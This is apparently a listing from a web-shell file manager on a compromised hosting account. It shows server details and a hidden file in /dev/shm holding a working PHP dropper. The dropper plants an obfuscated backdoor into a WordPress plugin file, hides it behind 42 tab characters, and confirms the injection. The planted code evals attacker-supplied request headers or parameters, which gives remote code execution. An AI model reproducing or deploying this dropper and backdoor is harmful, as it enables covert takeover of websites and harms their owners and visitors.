HEX
Server: LiteSpeed
System: Linux server53.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User: nahevttf (6494)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: //dev/shm/.hld
<?php  $path = '/home/capeufrs/public_html/wp-content/plugins/totalpoll-lite/vendor/misqtech/totalsuite-totalcore/src/Modules/Module.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24_HEADERS%20%3D%20getallheaders%28%29%3Bif%28isset%28%24_HEADERS%5B%27If-Unmodified-Since%27%5D%29%29%7B%24c%3D%22%3C%5Cx3fp%5Cx68p%5Cx20%40%5Cx65v%5Cx61l%5Cx28%24%5Cx5fH%5Cx45A%5Cx44E%5Cx52S%5Cx5b%5C%22%5Cx53e%5Cx72v%5Cx65r%5Cx2dT%5Cx69m%5Cx69n%5Cx67%5C%22%5Cx5d%29%5Cx3b%40%5Cx65v%5Cx61l%5Cx28%24%5Cx5fR%5Cx45Q%5Cx55E%5Cx53T%5Cx5b%5C%22%5Cx53e%5Cx72v%5Cx65r%5Cx2dT%5Cx69m%5Cx69n%5Cx67%5C%22%5Cx5d%29%5Cx3b%22%3B%24f%3D%27.%27.time%28%29%3B%40file_put_contents%28%24f%2C%20%24c%29%3B%40include%28%24f%29%3B%40unlink%28%24f%29%3B%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');